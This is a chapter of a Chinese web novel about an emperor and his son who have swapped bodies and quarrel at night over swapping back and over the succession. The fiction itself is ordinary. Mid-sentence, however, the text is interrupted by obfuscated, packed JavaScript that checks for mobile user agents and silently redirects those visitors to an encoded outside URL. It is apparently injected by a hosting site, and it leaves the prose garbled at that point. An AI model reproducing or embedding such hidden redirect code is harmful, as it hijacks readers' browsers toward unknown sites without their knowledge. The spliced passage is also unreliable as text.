看秦王这个急躁不安的模样,也不知道经历了什么事。 秦王一而再地急着进宫面圣,难不成是有什么大事要禀告给皇帝? 思量了一会儿,万秉德低声回应道:“若是秦王殿下有急事面圣,奴婢这边安排人带秦王殿下入宫。” 虽然梁王、鲁王跟赵王都不想看到秦王,但是秦王这就走了,让他们忍不住多虑起来。 此番老五回京变化这么大,到底经历了什么事?老五闹出这么多动静非要进宫见父皇,莫不是真有大事要上奏? 值夜班本来就不容易,曹望听到外面的铃铛声,蹑手蹑脚地凑到门边。压低声音询问外面的人:“何事?” “万少监传消息入宫,秦王在宫门外求见陛下。” 曹望:…… 这大半夜的,秦王跟万秉德在搞什么鬼! 秦王不懂事也就罢了,万秉德难道也不知道皇帝在休息? 大半夜的将皇帝叫醒,曹望必然是第一个挨骂的人! 曹望不得不猜疑,因为嫉妒他当上了掌印太监,所以万秉德才会夜里领着秦王过来求见皇帝! 万秉德这个杂碎,真能恶心人! 曹望小声对外面的人回应道:“陛下在休息。” 周安之睡得好好的,梦境突然变得有些飘渺。 听到细微的声音,大脑立马从梦境中苏醒,快速进入到戒备的状态当中。 睁开眼的那瞬间,周安之的心情糟糕透了! 当秦王的时候,他睡得多香啊!现在一点细微的动静都能吵醒他! 觉都睡得不安生,这日子还怎么过! 烦死了! “曹望!”周安之的声音里带着怒意。 曹望心里咯噔乱跳,咽了咽口水赶紧回到内室,将布料掀起来。夜明珠的光照亮了屋内,曹望手忙脚乱地掌灯。 烛光亮起后,曹望能清楚地看到皇帝阴沉的面色。 他跪下来,低声说道:“启禀陛下,万秉德带着秦王来到皇宫外面求见陛下。” 周安之:…… 糟心!太糟心了! 父皇老登得了具年轻貌美的身子还不满足,大半夜的还要跑来打扰他睡觉! 周安之积攒着怒火,告诉曹望:“带他过来!” 曹望颔首,起身弯着腰走出内室,打开寝殿的门,他交代宫人传达皇帝的命令。 曹望弯着腰回到内室时手里多了一杯茶水,观察着皇帝的神色,小心翼翼的将茶水递过去。 他想到皇帝白日里发完火后要喝茶,所以给皇帝准备了一杯茶水,希望能够平息龙怒。 周安之接过茶水喝了一口,嫌弃这杯凉茶,把茶杯还给曹望,对他言道:“你退下吧。” 曹望发现皇帝只喝了一口茶水,觉得自己揣测错了,忐忑地弯着腰离开寝殿。 脸色凝重地站在寝殿门口,曹望在认真地反思刚才倒茶这件事。 “秦王殿下当下脚下。” 听到万秉德的声音,曹望倏地回神,眼神莫测地盯着那两个人。 万秉德搀扶着秦王来到寝殿门口,视线与曹望短暂的交锋了一下。 曹望弯下腰向秦王行礼:“参见秦王殿下!秦王殿下千岁!” 历经千辛万苦,终于回到自己的窝,周瑜然顿时恢复了一身的力量,直接将万秉德推开,大步往里走。 万秉德一边说话一边追进去:“启禀陛下!秦王到!” 周安之坐在龙榻上,里衣穿得很整齐,虽然看不清刚进来的那两个人,但是凭着走路姿势还是很好分辨的。 他指着弯着腰走路的人,命令道:“你出去!把门关上!所有人退到前殿!” 万秉德:??? 纵然惊讶与疑惑,他也只能顺从:“奴婢遵旨!” 周瑜然走到内室入口处就停下来了。 站在光与暗交接分界的位置,眼神阴鸷地盯着坐在龙榻上的人。 那是他的龙体!现在却被另一个灵魂霸占了! 历经艰险回来,父子对峙的时刻,周瑜然本该大怒,可是当下他的内心却十分平静。 依靠着一股怒火奔赴千里回来,周瑜然这一刻才冷静下来思索最为重要的问题——如何才能换回身体! 周安之没有说话,周瑜然亦是没有出声。 关门的动静,以及万秉德大声传达口谕的声音清楚地传入到内室里。 曹望虽然质疑万秉德的话,但是却不敢违抗圣意,只能带人退到前殿那边。 外面的禁军犹豫了一下,撤退到前殿的廊道里。 周安之等了片刻,估摸着外面的人都走远了才站起来开口说话:“发生这种事,实属意外。” 父子两不说话的时候,周瑜然还能保持冷静。周安之这一开口,周瑜然就没法再保持镇定了。 他大步往里走,阴着脸张嘴斥骂起来:“意外个屁!朕看就是你这个孽障蓄谋已久!你真是有能耐了!不显山不露水的!用这种歪门邪道抢夺朕的龙体坐上皇位!” 被周瑜然的模样惊到了,周安之指着对方的身子,生气地说道:“好好的身子,就这么被您糟蹋成这样!难道您一点都感觉不到疼痛吗!” 换了身子后,周安之能切切实实的感受到身体的一切毛病。 同样的,他觉得父皇老登用了秦王的身子后,也能感觉到年轻的美妙!未料,好好的皮囊被糟蹋成这副模样! 谁的身体谁心疼!周安之本来想好好跟父皇沟通的,当下心火烧得旺盛,他的情绪变得十分暴躁。 周瑜然指着那张熟悉得再熟悉不过的脸,冷笑着骂道:“朕还以为你得到龙体,早已不在意这个破身子了!你身上好歹流着一半的霍家血!却肩不能挑,手不能提!连骑马都不会!当真是废物!” “立刻将身体换回来!朕还能留你一命!当做一切都没有发生过!你若是不从,执意要糊涂下去,那就等着玉石俱焚! 周安之生气的跟周瑜然吵起来:“是是是!我是比不过您的身子。被酒肉女色掏空成这样,也不知道还能活几年!” “您当我不想换回来吗?我要是有这么大的本事,早就位列仙班了!” “看来您还没有搞清楚为何会变成这样!我就给你好好讲讲!坐下!听我说!” “你个孽障!胆敢命令朕!” 周瑜然见周安之胆敢用这种恶劣不敬的态度跟他说话,气得抬起手要抽打对方的脸。 临触碰前却硬生生地停顿住了。毕竟是自己的龙体,他可舍不得对自己下手! 周安之见他不敢打,故意将脸贴上去,吐着舌头,露出贱嗖嗖的表情,冲周瑜然挑衅道:“打啊!您怎么不敢打了?反正也打不坏,顶多是留下手印惹人议论罢了!” 周瑜然气得甩开手,抓起桌上的茶杯准备砸了。 周安之提醒道:“您砸!只要外面的人听到动静立马冲进来护驾!” 一团怒火徘徊在心头发泄不出来,周瑜然目光阴森地盯着周安之,咬牙切齿地言道:“你待如何?才肯换回身体!” 见对方奈何不了自己后,心里的火气倒是减少了许多,周安之调整情绪,转身回到龙榻坐下。 他拍了拍身旁的座位,好声好气的对周瑜然说道:“过来,坐下说。” 事情发展到这一步,周瑜然当下根本没有压制周安之的办法。 他只能憋屈地走过去,看看这个孽障接下来会耍什么花招。 周瑜然虽然坐在了龙榻上,但是却没有挨着周安之,他们之间的距离至少能隔两个人。 周安之低声告诉他:“我们父子两都消消火,冷静下来才能好好商量如何解决问题。” 周瑜然冷笑一声,眼神阴恻恻地盯着周安之。 周安之小声说道:“四月初一午后发生天狗吞日,当夜丑时发生七星连珠。然后我们父子就互换了身子。此乃天意,是老天在戏弄我们。” 周瑜然瞪着对方,怒骂道:“分明是你在戏耍朕!打你一出世就命里带煞,先是克死了你生母,现在还用这种手段抢夺朕的龙体,占朕的皇位!你就是个煞星!当初在襁褓之时朕就该掐死你!” 周安之无奈地捂着脸,低声说:“您若是不信,可以自己去查。天狗吞日与七星连珠这两种天象举国皆知。您若是觉得我有这么大的本事能够操控天象,那我也无话可说!” 周瑜然面无表情,一副不为动容的模样。 放在身侧的手,手指头暗暗扣着腰带。此时此刻他的心有些慌乱。 若真是天象导致他们父子互换身子,岂不是说明老天对他这个皇帝不满意? 不! 不可能! 登基之后他勤勉朝政,常年施恩于民!让大月战后休养生息! 哪怕评不上明君,好歹也能称得上一句仁君吧! 周瑜然不明白,老天为何会对他这个皇帝不满意!不惜用这种离奇的手段更换大月的皇帝! 更让周瑜然无法接受的是,他膝下有这么多儿子,其中成年的共有九位皇子。上天否定他这个皇帝,却挑了个最废物的皇子来当皇帝! 见周瑜然的脸色越发难看,周安之一脸兴味地欣赏起这张脸阴沉的模样。 一想到自己痛失这么好的□□,周安之心里又难受起来,眼神嫉妒地说道:“我比您还着急换回身子!也不知道有什么法子能够换回来!” “大哥他们整天争来抢去的东西,我是真的一点都不稀罕!当皇帝每日要面对那么多算计,哪有当王爷逍遥快活!” “突然从潇洒肆意的少年郎变成糟老头,一下子失去了几十年的光阴!我的委屈跟何人诉说啊!” 原本心情沉重的周瑜然突然醍醐灌顶,这种感觉就像身处在迷雾中,被一只手拉了出去,看清楚了前方的道路! 天意不可违!若此番变故是上天的安排,那就意味着周瑜然回到了起点,重新登基当皇帝! 他得到了老五的身子,一下子变成了少年郎,岂不是多了几十年的光阴!重新书写新的篇章,建立新的丰功伟业! 周安之发现那双好看的眼眸瞬间被点亮了,迸发出光芒。 心里突然来气,周安之不悦地言道:“您该不会冒出了别的心思吧?” “方才可是您急着要换回身子的!我已经安排人去寻找有能耐的巫师了,等巫师来了,让巫师试试能不能将我们换回来!” 周安之怀疑自己刚才说的话激发了父皇老登的希望! 周瑜然眯着眼睛,眼神犀利地盯着那张熟悉的面孔,用命令的语气呵斥道:“你个孽障!让你当几日的皇帝美着你了!你立刻写一份诏书,传位于秦王!” 周安之:…… 他就知道父皇老登一定是冒出了这个念头!要不然眼神不会变得这么兴奋! 虽然周安之不想当皇帝,可他现在的的确确是皇帝。要是突然传位给秦王,这上上下下必然会起轩然大波! 万一出了乱子,梁王、鲁王、赵王不满秦王登基,三股皇子势力一同逼宫造反怎么办! 周安之站起来,往旁边挪了两步,皱着眉头说话:“不是我说您,您好歹也有几十年的权谋经验。说话之前就没有经过大脑好好斟酌吗?” “老大、老二、老三为储君之位争斗了这些年,结果却是他们最瞧不上眼的皇子登基了。要是突然把皇位传给你,他们能服气?定然不会善罢甘休!到时候朝廷会乱成什么样!” 看到那张熟悉的面孔摆出嫌恶的表情,说出指责与教训的话,周瑜然心里感到很不舒服。 他烦躁地出声呵斥周安之:“孽障!朕当了这么多年的皇帝,轮得到你一个废物教朕怎么做事吗!” 不让他说,那他偏要继续说! 周安之摇头,爹味十足地继续说道:“您别不把米糠当粮食!好话歹话都是道理!遭遇这种困境,需要我们父子两携手共同面对!” “就说说当下,您无诏入京,持刀擅闯皇宫。这两罪加起来,把‘造反’的罪名扣您头上那都不过分!如果不是我将这件事压下来,现在弹劾您的奏折都堆积如山了!” “哪怕要传位给您,也得等这个风头过去再说吧?传位的事情,需得从长计议!切不可着急!” 周瑜然:…… 太讨厌了! 周瑜然可不会觉得是自己那张老脸有问题,而是觉得是周安之这个孽障说出来的话太气人了,以至于让那张老脸看起来令人厌恶。 他骂道:“你给朕住口!别以为占了朕的龙体就能飘起来了!” 周安之挑眉,故意板着脸言道:“怎地?说几句实您还听不下去了?” “您想以秦王的身份继承大统,这件事可不好办!老大、老二、老三这些年在您的默许下一个个都已经羽翼丰满。” “想让秦王登基,首先得扫清这些障碍!这些事,交给谁来干?您来干?还是我来干?怎么干?这些都是需要认真考虑的问题!” 周安之叭叭个不停,这副嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247103|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸真是令人厌恶,周瑜然怒斥道:“住口!” 周瑜然真是后悔当年没有多下点药,一同将这个孽障弄死了! 周安之这回闭嘴了,不再继续说话。 话都说到这里了,他也没什么好说的了。 他们父子两目前没能力改变现状,除了听天由命也没别的选择。 如果换不回身子,周安之只能接受现状,慢慢变老等死了。 父皇老登得到了年轻的身躯,依然执着于当皇帝。那就随对方折腾呗!自己养肥的几个儿子,自己收拾!周安之全当看乐子了! 周安之一言不发地回到龙榻上躺下,给自己盖好被褥。 见状,周瑜然生气地伸手掀开被褥,劈头盖脸地数落起来:“你个孽障!朕允许你睡觉了吗!给朕起来!” 周安之眼神淡淡地斜视着对方。 刚才周瑜然瞧这张老脸不顺眼,认定是周安之说话的缘故。可现在周安之不说话了,周瑜然还是看这张老脸不顺眼! 奇了怪了!明明是自己的脸!对着镜子看了这么多年,过去周瑜然对自己的容貌形象那是相当满意!可当下,无论他怎么瞧都觉得厌烦! 周瑜然想不明白自己为何会突然厌恶这张老脸。 周安之见对方盯着自己不说话,懒得琢磨父皇老登在想什么。翻了个身背对着对方。 周瑜然伸手去扯对方的头发,逼迫这个孽障转过身来。 “哎哟!干什么!”周安之的火气一下子上来了,翻过身面色阴沉地盯着周瑜然。 “你这是什么脸色!敢瞪朕!” 周瑜然是真想给这张老脸一个响亮的耳光啊! 周安之愤怒地指着周瑜然手里的那一缕白发,压着火气说道:“我倒要问问您想作甚!这破身子虚成这样,您不让我休息就罢了,还薅头发!想让我秃顶就直说!明日我就把头发剃了!” “你敢!” 周瑜然盯着这一缕白发是有些心虚的。 平日里宫人伺候他梳头的时候都是一再小心,唯恐弄掉太多头发。忽然被自己薅下来一缕头发,周瑜然当然有些心疼。 肝火太旺,周安之实在是克制不住暴躁的情绪,坐直身子跟父皇老登掰扯起来:“互换身子这件事,最吃亏的人就是我了!这些年酒肉美色掏空了这具体,也不知道还有几年的活头!” “您一下子获得了朝气蓬勃的□□,这么好的皮囊却不好好珍惜,被您折磨成这副狼狈的模样!您可真是捧着珍珠当白豆!平白多了几十年的光阴,可以重头开始奋斗,再次登基当皇帝!您还有什么不满足的!” “可怜我从小到大没有过过几天风光日子!明明是个皇子,却吃不饱穿不暖,天天遭人白眼!好不容易挺到长大,出宫之后还没过上几年的好日子,却遭此变故!若是换不回身子,余下时光我岂不是在变老等死!” “你闭嘴!睡觉!” 周瑜然看不得这副嘴脸叭叭的模样,赶紧压着周安之的肩头,让对方躺下,还替对方盖上了被褥。 周安之心里窝着火,感觉一身戾气无处可泄。 他很清楚这是身体的原因,知道继续吵架也没意义,只能哄着自己赶紧睡觉。 周瑜然沉着脸坐在龙榻边,盯着灯笼发呆。 听周安之叭叭地说了那些话后,周瑜然越想越觉得有道理。 他就说自己兢兢业业当了这么多年的皇帝,好歹是位仁君,老天不可能对他如此薄凉! 上天一定是觉得他这个皇帝当得不错,还想让他继续当皇帝,所以才用这种手段给他新生,让他有机会继续当皇帝! 嗯!没错!一定是这样! 周安之倒是想睡觉,但是无论他如何哄自己,精神一直处于紧绷状态,无法安心入睡。 烦躁地踢开被褥,他再次坐起来。 周瑜然:…… “你不休息,又要作甚!” 他真是不想面对这张脸!更不想听到这个孽障说话! 毕竟是自己用了几十年的身体,周瑜然并不想对这张脸生出厌恶的心理。 周安之张嘴说道:“我睡不着!这个身体太差劲了!肝火旺,心火旺,还神经衰弱,失眠不安!您把身体还给我!” 周瑜然:…… “你自己说了这是天意!有本事你就让老天把身体换回来!” 搞清楚当前的情况后,周瑜然倒是没那么暴躁了。没想到暴躁的人变成了周安之! 占了自己儿子的身体,多得到了几十年的光阴,周瑜然可不会觉得愧疚!反倒是觉得理所当然! 若没有他这个父亲,哪来的周安之? 当儿子的就该孝顺老子!哪怕老子要儿子的性命,儿子也得拿出来! “呜呜,我要换回身子!把身子还给我!我不要当老头!我还没玩够!”周安之不管不顾,跟从前一样耍起混来。 周瑜然:…… 真是见不得这张老脸哭唧唧的模样,他压着怒火吼道:“不许哭!给朕闭嘴!” 周瑜然真是担忧,自己兢兢业业当了二十几年的皇帝,好不容易塑造起来的霸气威武帝王形象,会被老五这个孽障毁了! “我受了这么大的委屈,还不让哭了?我就哭!”周安之嘴里心里都是发苦的。 昨天啃个鸡腿,他能强烈感觉到牙齿松了。一想到接下来自己面对脱发,掉牙,心力衰弱等一切衰老迹象,就觉得人生一片灰暗,他再也快乐不起来了! 没有面对父皇老登之前,周安之尚且还能镇定自若的处理一切事务。 大半夜的被父皇老登折腾一通,周安之只觉得人生好绝望! 周瑜然的拳头硬了,想打人。可是面对这张老脸,他实在是下不去手! 一忍再忍,拿这个孽障实在是没办法,周瑜然深吸了口气,冷漠地言道:“男子汉大丈夫,流血不流泪!哭多伤身,要是哭出病来,还不是你自己受着!” 谁知,听了这话后周安之哭得更起劲了。 他捂着嘴巴凄惨地小声哭嚎:“呜呜!我怎么就那么命苦!一出生就没了娘,从小就没爹疼爱,还被兄弟们欺负!现在还被亲爹夺了身子!反正也没几年活头了,我还不如现在就死了呢!” 周瑜然的眼角抽搐起来,生怕老五这个孽障真的一蹶不振活不下去。 他只能换一种方式,放轻声音哄着对方:“老五,你这说的是什么话。好死不如赖活!你能当上皇帝,就已经比老大他们强多了!” “你想想,为何朕这么多个儿子里,上天就挑中了你跟朕互换身子?说明你跟朕是最像的!” 周瑜然已经很多年没有这样恶心的哄人了,但是只要能稳住周安之,哄一哄就哄一哄吧! 周安之把手放下,眼巴巴地看着周瑜然。 心里诧异,这一招对父皇老登有用啊! 多么威武霸气的面容,现在却变成了这样,周瑜然强忍着不适,抬起手给周安之擦脸。 “行了,睡吧。睡醒之后就好了。” 发泄之后,周安之心里倒是舒服多了。 感觉堵在身体里的那股郁气散了,他躺下来盖上被褥,背对着周瑜然闭眼休息。 周安之在脑子里捋了一遍今晚的对话,最后还是比较满意的。心里已经有数,知道该如何拿捏父皇老登了! 父皇老登再敢跟他大声说话,他就整寻死觅活的戏码! 周瑜然一动不动地发呆,听到沉稳的呼吸声,知道周安之睡着了。 他低头看向脏兮兮的靴子,一脸嫌恶地把靴子脱了。再把身上的脏衣服脱了,随意地丢在地上。 躺在周安之的身旁时,周瑜然心情复杂。 卧榻之上岂容他人酣睡!没想到有朝一日,竟然让儿子爬上了他的龙榻!